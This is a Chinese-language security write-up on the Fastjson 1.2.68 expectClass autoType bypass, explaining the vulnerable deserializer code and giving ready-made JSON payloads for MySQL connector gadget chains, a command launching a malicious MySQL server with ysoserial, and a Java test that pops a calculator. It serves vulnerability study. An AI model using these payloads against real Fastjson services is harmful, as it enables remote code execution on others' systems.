声明

本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。

Fastjson <= 1.2.68 expectClass 绕过原理

当 fastjson 更新到 1.2.68 之后,大部分安全漏洞都已经封堵住了,但不排除还有人手里握着一些 0day 没有放出来。

fastjson 1.2.68 在进行反序列化的时候,会进入 ObjectDeserializerdeserialze 方法,而 安全人员发现 当 @typejava.lang.AutoCloseable 的时候会找到实现类 JavaBeanDeserializer 调用 deserialze,而 JavaBeanDeserializerdeserialze 方法还会继续解析得到第二个 @type 对应的值进行反序列化,并且 expectClass 则不再是 null 值,而是 java.lang.AutoCloseable

JavaBeanDeserializerdeserialze 部分代码示例。

if (lexer.token() == JSONToken.LITERAL_STRING) {
    // 第二个 @type 的值
    String typeName = lexer.stringVal();
    lexer.nextToken(JSONToken.COMMA);

    if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) {
        if (lexer.token() == JSONToken.RBRACE) {
            lexer.nextToken();
            break;
        }
        continue;
    }
    
    // 这里没有获取到 deserializer
    ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName);
    Class<?> userType = null;

    if (deserializer == null) {
        // 第一个 @type 的值 
        Class<?> expectClass = TypeUtils.getClass(type);
        // 在包含 expectClass 时会绕过
        userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
        deserializer = parser.getConfig().getDeserializer(userType);
    }
    
    // 再次进行反序列化,会触发反射构造实例
    Object typedObject = deserializer.deserialze(parser, userType, fieldName);
    if (deserializer instanceof JavaBeanDeserializer) {
        JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer;
        if (typeKey != null) {
            FieldDeserializer typeKeyFieldDeser = javaBeanDeserializer.getFieldDeserializer(typeKey);
            if (typeKeyFieldDeser != null) {
                typeKeyFieldDeser.setValue(typedObject, typeName);
            }
        }
    }
    return (T) typedObject;
}

ParseConfigcheckAutoType 部分代码示例,只要第二个 @type 继承了 第一个 @type 即可触发。

if (expectClass != null) {
    if (expectClass.isAssignableFrom(clazz)) {
        TypeUtils.addMapping(typeName, clazz);
        return clazz;
    } else {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
}

Fastjson <= 1.2.68 利用链

在 black hat usa 2021 议题上,腾讯玄武实验室披露了四条利用链,分别是:

  1. Mysql connector RCE
  2. Apache commons io read and write files
  3. Jetty SSRF
  4. Apache xbean-reflect RCE

其中 Mysql 的利用链是因为可以构造任意 URL 使用 JDBC 连接,连接至恶意 Mysql 服务器,服务器返回的内容被 JDBC 反序列化。

Mysql connector 5.1.x

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "mysql.host",
    "portToConnectTo": 3306,
    "info": {
        "user": "user",
        "password": "pass",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "NUM_HOSTS": "1"
    },
    "databaseToConnectTo": "dbname",
    "url": ""
}

• Mysql connector 6.0.2 or 6.0.3

{
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy": {
        "connectionString": {
            "url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
        }
    }
}

• Mysql connector 6.x or < 8.0.20

{
    "@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy":{
        "@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl":{
            "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters":[
                {
                    "host":"mysql.host"
                }
            ],
            "slaves":[

            ],
            "properties":{
                "host":"mysql.host",
                "user":"user",
                "dbname":"dbname",
                "password":"pass",
                "queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize":"true"
            }
        }
    }
}

JDBC 利用链原理

我们先来看一段每一个Java 开发都要学习的 JDBC 操作数据库的示例:

import java.sql.*;

public class MySQLDemo {

    static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
    static final String DB_URL = "jdbc:mysql://localhost:3306/test";
    static final String USERNAME = "root";
    static final String PASSWORD = "123456";

    public static void main(String[] args) {
        Connection conn = null;
        Statement stmt = null;
        try {
            // 注册 JDBC 驱动
            Class.forName(JDBC_DRIVER);

            // 打开链接
            System.out.println("连接数据库...");
            conn = DriverManager.getConnection(DB_URL, USERNAME, PASSWORD);

            // 执行查询
            System.out.println(" 实例化Statement对象...");
            stmt = conn.createStatement();
            String sql;
            sql = "SELECT * FROM test";
            ResultSet rs = stmt.executeQuery(sql);
            int index = 0;
            // 展开结果集数据库
            while (rs.next()) {
                // getObject 会根据字段不同的类型做不同的处理
                Object object = rs.getObject(index);
                System.out.println(object);
                index++;
            }
            // 完成后关闭
            rs.close();
        } catch (Exception se) {
            se.printStackTrace();
        } finally {
            // 关闭资源
            try {
                if (stmt != null) stmt.close();
            } catch (SQLException ignored) {
            }
            try {
                if (conn != null) conn.close();
            } catch (SQLException ignored) {

            }
        }
        System.out.println("Goodbye!");
    }
}

其中 ResultSetImplgetObject 方法会根据Mysql中字段的类型做不同的处理,源码如下:

@Override
public Object getObject(int columnIndex) throws SQLException {
    checkRowPos();
    checkColumnBounds(columnIndex);

    int columnIndexMinusOne = columnIndex - 1;

    // we can't completely rely on code below because primitives have default values for null (e.g. int->0)
    if (this.thisRow.getNull(columnIndexMinusOne)) {
        return null;
    }

    Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
    switch (field.getMysqlType()) {
        case BIT:
            // TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?
            if (field.isBinary() || field.isBlob()) {
                byte[] data = getBytes(columnIndex);

                if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                    Object obj = data;

                    if ((data != null) && (data.length >= 2)) {
                        if ((data[0] == -84) && (data[1] == -19)) {
                            // Serialized object?
                            try {
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                obj = objIn.readObject();
                                objIn.close();
                                bytesIn.close();
                            } catch (ClassNotFoundException cnfe) {
                                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                            } catch (IOException ex) {
                                obj = data; // not serialized?
                            }
                        } else {
                            return getString(columnIndex);
                        }
                    }

                    return obj;
                }

                return data;
            }

            return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);

        // 代码省略

        case BINARY:
        case VARBINARY:
        case TINYBLOB:
        case MEDIUMBLOB:
        case LONGBLOB:
        case BLOB:
            if (field.isBinary() || field.isBlob()) {
                byte[] data = getBytes(columnIndex);

                if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                    Object obj = data;

                    if ((data != null) && (data.length >= 2)) {
                        if ((data[0] == -84) && (data[1] == -19)) {
                            // Serialized object?
                            try {
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                obj = objIn.readObject();
                                objIn.close();
                                bytesIn.close();
                            } catch (ClassNotFoundException cnfe) {
                                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                            } catch (IOException ex) {
                                obj = data; // not serialized?
                            }
                        } else {
                            return getString(columnIndex);
                        }
                    }

                    return obj;
                }

                return data;
            }

            return getBytes(columnIndex);

            // 代码省略
    }
}

可以看到在处理“大字符串”时会进行反序列化,当 JDBC 首次连接MySQL服务器时,会主动使用sql查询(不同版本的JDBC查询的内容略有不同),恶意Mysql服务器即可返回我们构造好的恶意数据,最后就可以触发任意命令执行。

恶意MySQL服务可以使用 python3实现的 https://github.com/fnmsd/MySQL_Fake_Server

也可以使用我参考 MySQL_Fake_Server 后用 Go 实现的 https://github.com/dushixiang/evil-mysql-server

以 mysql-connector-java 5.1.11 为例,先启动恶意Mysql 服务端。

这里没有使用自己构造恶意数据,而是使用了一个开源的 Java 反序列化工具 ysoserial

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-0.0.6-SNAPSHOT-all.jar

测试代码

需要pom依赖中存在 commons-collections 3.1

import com.alibaba.fastjson.JSON;

public class Evil6 {

    public static void main(String[] args) {
        // 5.1.11-5.1.48(反序列化链)
        String json = "{\n" +
                "  \"@type\": \"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +
                "  \"hostToConnectTo\": \"127.0.0.1\",\n" +
                "  \"portToConnectTo\": 3306,\n" +
                "  \"info\": {\n" +
                "    \"user\": \"yso_CommonsCollections5_calc\",\n" +
                "    \"password\": \"pass\",\n" +
                "    \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
                "    \"autoDeserialize\": \"true\",\n" +
                "    \"NUM_HOSTS\": \"1\"\n" +
                "  },\n" +
                "  \"databaseToConnectTo\": \"dbname\",\n" +
                "  \"url\": \"\"\n" +
                "}";
        JSON.parseObject(json);
    }
}

运行之后便可以看到本机打开了计算器,其他版本的 mysql-connector-java 也类似,可以自行挖掘更多利用链。

文中测试使用系统和工具版本如下:

参考